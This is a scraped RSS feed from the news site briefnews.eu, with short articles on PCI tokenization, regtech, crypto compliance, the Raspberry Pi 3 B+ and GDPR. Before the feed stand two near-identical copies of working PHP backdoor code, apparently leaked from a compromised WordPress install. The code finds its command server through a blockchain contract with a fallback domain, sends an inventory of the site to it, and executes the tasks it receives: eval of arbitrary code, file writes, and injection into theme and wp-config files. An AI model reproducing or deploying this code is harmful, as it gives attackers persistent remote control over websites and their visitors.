// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); compliance – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 25 Feb 2020 07:20:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png compliance – Brief News https://briefnews.eu 32 32 To Tokenize Or Not Tokenize – The Truth About Scope And Compliance Risk https://briefnews.eu/to-tokenize-or-not-tokenize-the-truth-about-scope-and-compliance-risk/ https://briefnews.eu/to-tokenize-or-not-tokenize-the-truth-about-scope-and-compliance-risk/#respond Tue, 25 Feb 2020 07:19:33 +0000 https://briefnews.eu/?p=258259

Article was originally published on Very Good Security Blog.

The hard-to-face reality is that billions of personal records are exposed each year. A commonly used, yet incomplete solution, is tokenization. Tokenizing sensitive data does not eliminate the need to achieve and certify PCI DSS compliance.
In order to completely descope from PCI, a business can partner with a data custodian (VGS) that handles 100% of data capture and vaulting – removing any compliance risk and completely avoiding data leaks.

Massive data leaks, at this point, are becoming a frequent occurrence – with headlines regularly popping up highlighting cybersecurity disasters that have impacted millions of consumers.

Earlier this summer, news of a cybersecurity disaster rattled North American consumers. The highly-publicized Capital One data breach of 2019 led to the sensitive data exposure of 100 million Americans and 6 million Canadians – including hundreds of thousands of social security numbers and bank account numbers.

Similarly, in July, we learned about the whopping $700 million settlement as a result of the Equifax data breach. Now, years later, the 147 million customers impacted by that disaster all get a piece of that pie.

It only seems like a matter of time until the next multi-million-dollar data breach settlement will be announced, and another consumer data-handling organization will have their feet publicly held to the fire.

From the improper configuration of web applications to the massive security risk involved in cloud storage generally, companies have wisely been seeking alternatives to storing their own sensitive user data and opening themselves up to data breach risk.

The rise of tokenization

In order to reduce data leakage risk as much as possible, many tech organizations have leveraged a method called tokenization. It’s a way to limit storing plain text sensitive data within a company’s own systems by using “tokens” to replace private user information like medical data or credit card numbers.

Unlike encryption, where a mathematical equation can “solve” the data replacement and reveal the original sensitive information, tokenization is not reversible. With no mathematical relationship to the original data point, tokenization is widely considered to be a safe way of transmitting and storing critical information.

However, tokenizing sensitive data does not eliminate the need to achieve and certify PCI DSS compliance – although it can reduce the number of system components to which PCI DSS compliance would apply.

With tokenization, sensitive data is mostly hidden. But, there are two points where tokenized data still remains within the scope of PCI DSS compliance: the data vault and the original point of capture.

Even when organizations store and use tokens instead of raw sensitive data, the original data is within PCI scope because they’re still within the cardholder data environment. In this environment, a business is still responsible for any leaked data.

But what if businesses could offload this data risk fully, and enjoy the benefits of tokenization while keeping all the original data completely off their own systems?

Descoping entirely

In order to completely descope from PCI DSS compliance, a business can partner with a data custodian that handles 100% of data capture and vaulting – removing any compliance risk and completely avoiding data leaks.

VGS is an innovative data custodian that takes on their clients’ compliance risk, securely storing all sensitive data and removing businesses from PCI scope in full.

By leveraging synthetic data ‘aliases,’ which are generated in real-time to protect all sensitive customer information, VGS empowers businesses to use customer data just as they did before – but never actually touch the sensitive data themselves.

Startups that work with VGS remove their compliance risk and avoid the potential risk associated with data breaches because there’s nothing to steal in the first place.

By partnering with a data custodian, organizations can completely descope their systems and win over new customers with the peace of mind that their sensitive personal data is in safe hands.

When businesses implement VGS solutions to handle their sensitive data, they instantly inherit VGS’s best-in-class security posture, which enables them to fast-track their certifications like PCI, SOC2 and others.

With data security as one less thing to worry about, organizations can focus their time and resources on growing their core businesses.

]]> https://briefnews.eu/to-tokenize-or-not-tokenize-the-truth-about-scope-and-compliance-risk/feed/ 0 Here’s how the regtech landscape is evolving to address increasing compliance needs https://briefnews.eu/heres-how-the-regtech-landscape-is-evolving-to-address-increasing-compliance-needs-2/ https://briefnews.eu/heres-how-the-regtech-landscape-is-evolving-to-address-increasing-compliance-needs-2/#respond Tue, 04 Sep 2018 02:02:29 +0000 http://briefnews.eu/heres-how-the-regtech-landscape-is-evolving-to-address-increasing-compliance-needs-2/ Growth Regtech FirmsBI Intelligence

This is a preview of a research report from Business Insider Intelligence, Business Insider’s premium research service. To learn more about Business Insider Intelligence, click here.

Regtech solutions seemed to offer the solution to financial institutions’ (FIs) compliance woes when they first came to prominence around 24 months ago, gaining support from regulators and investors alike. 

See the rest of the story at Business Insider

See Also:

]]> https://briefnews.eu/heres-how-the-regtech-landscape-is-evolving-to-address-increasing-compliance-needs-2/feed/ 0 Here’s how the regtech landscape is evolving to address increasing compliance needs https://briefnews.eu/heres-how-the-regtech-landscape-is-evolving-to-address-increasing-compliance-needs/ https://briefnews.eu/heres-how-the-regtech-landscape-is-evolving-to-address-increasing-compliance-needs/#respond Sun, 06 May 2018 23:53:48 +0000 http://briefnews.eu/heres-how-the-regtech-landscape-is-evolving-to-address-increasing-compliance-needs/ Growth Regtech FirmsBI Intelligence

This is a preview of a research report from Business Insider Intelligence, Business Insider’s premium research service. To learn more about Business Insider Intelligence, click here.

Regtech solutions seemed to offer the solution to financial institutions’ (FIs) compliance woes when they first came to prominence around 24 months ago, gaining support from regulators and investors alike. 

See the rest of the story at Business Insider

See Also:

]]> https://briefnews.eu/heres-how-the-regtech-landscape-is-evolving-to-address-increasing-compliance-needs/feed/ 0 Coming to grips with compliance and regulation for cryptocurrency traders https://briefnews.eu/coming-to-grips-with-compliance-and-regulation-for-cryptocurrency-traders/ https://briefnews.eu/coming-to-grips-with-compliance-and-regulation-for-cryptocurrency-traders/#respond Fri, 27 Apr 2018 18:02:51 +0000 http://briefnews.eu/coming-to-grips-with-compliance-and-regulation-for-cryptocurrency-traders/

SPONSORED: Presented by Blockchain Terminal Cryptocurrencies are more than just a new asset class; they are a new investment paradigm. In a few short years the trading of crypto has gone from rudimentary peer-to-peer trades to being supported by an entire industry of platforms, exchanges, and tools. However, the trading ecosystem for crypto is stil…Read More

]]> https://briefnews.eu/coming-to-grips-with-compliance-and-regulation-for-cryptocurrency-traders/feed/ 0 Raspberry Pi 3 B+ has faster CPU, Wi-Fi, and easier compliance testing https://briefnews.eu/raspberry-pi-3-b-has-faster-cpu-wi-fi-and-easier-compliance-testing/ https://briefnews.eu/raspberry-pi-3-b-has-faster-cpu-wi-fi-and-easier-compliance-testing/#respond Thu, 15 Mar 2018 00:44:57 +0000 http://briefnews.eu/raspberry-pi-3-b-has-faster-cpu-wi-fi-and-easier-compliance-testing/

Raspberry Pi Foundation

The Raspberry Pi Foundation has announced a new version of its modular compute platform: the Raspberry Pi 3 Model B+.

The B+ has the same form factor and dimensions as the Pi 2 B and Pi 3 B, making it a drop-in replacement but with a better processor and connectivity. Compared to the Pi 3 B, the B+ adds many hundreds of MHz—it runs its quad core 64-bit Cortex-A53 processor at 1.4GHz, up from 1.2GHz—along with dual band 2.4/5GHz 802.11b/g/n/ac Wi-Fi and Bluetooth 4.2, up from 2.4GHz and Bluetooth 4.1.

Read 3 remaining paragraphs | Comments

]]> https://briefnews.eu/raspberry-pi-3-b-has-faster-cpu-wi-fi-and-easier-compliance-testing/feed/ 0 GDPR: A playbook for compliance https://briefnews.eu/gdpr-a-playbook-for-compliance/ https://briefnews.eu/gdpr-a-playbook-for-compliance/#respond Sat, 27 Jan 2018 20:52:17 +0000 http://briefnews.eu/gdpr-a-playbook-for-compliance/

Earlier this week, Facebook announced it is rolling out a new privacy center to help the company comply with Europe’s GDPR regulation that comes into effect in just four months. The company’s announcement comes just ahead of next week’s Data Privacy Day, and is a reminder of how slow U.S. companies have been in preparing for the May 25 compliance deadline.

Many companies have taken little note of GDPR, believing it only affects companies in the European Union — or perhaps waiting for big fish like Facebook or Google to make a move first before investing in big audits of their own data. To be clear: If you’re part of a U.S. company that handles personal information of EU citizens, the GDPR applies to you. Failing to comply will result in significant penalties of up to €20 million or four percent of a company’s global revenue, whichever is greater.

GDPR is a team effort, and everyone within an organization has a responsibility to protect data and understand the main points of the GDPR. So, whether you’re a board member, C-suite executive, or part of the legal, IT, or security teams at your company, here’s what you need to know. The clock is ticking.

The players: Roles and departments

While GDPR is a team effort, effective GDPR compliance requires well-defined roles and division of responsibilities, as well as strong interdepartmental partnerships. There are three key players to GDPR compliance that every organization should be aware of:

  • The Controller: This person or office determines the purpose, conditions, and means of processing data, but they don’t actually do the processing. This person or office is also responsible for ensuring that outside contractors comply with regulations and reporting data breaches to the appropriate authorities.
  • The Processor: This person or office processes the information on behalf of the controller. A processor could be a third party or an employee within the organization. The processor should follow the contract as set by the controller and adhere to confidentiality. Additionally, the processor protects data with technical and organizational controls, and provides documentation to prove compliance.
  • The Data Protection Officer (DPO): The data protection officer oversees compliance and communicates with data protection authorities. The DPO reports to the highest management and generally has experience with risk management. Note: the DPO cannot be involved in data processing, as this would create a conflict of interest. This office is bound by confidentiality.

Because the GDPR extends beyond cyber security, there are three core business areas — in addition to the aforementioned roles — whose integrated efforts are necessary to achieve compliance:

  • Legal: A majority of the GDPR heavy lifting from a legal standpoint involves defining what’s in the scope of the regulation, where a company has vulnerabilities, and whether data is being used properly. Legal also must make sure everything is in order from a contracts standpoint, such as ensuring third-party relationships have the appropriate model contract clauses in place to enable compliance.
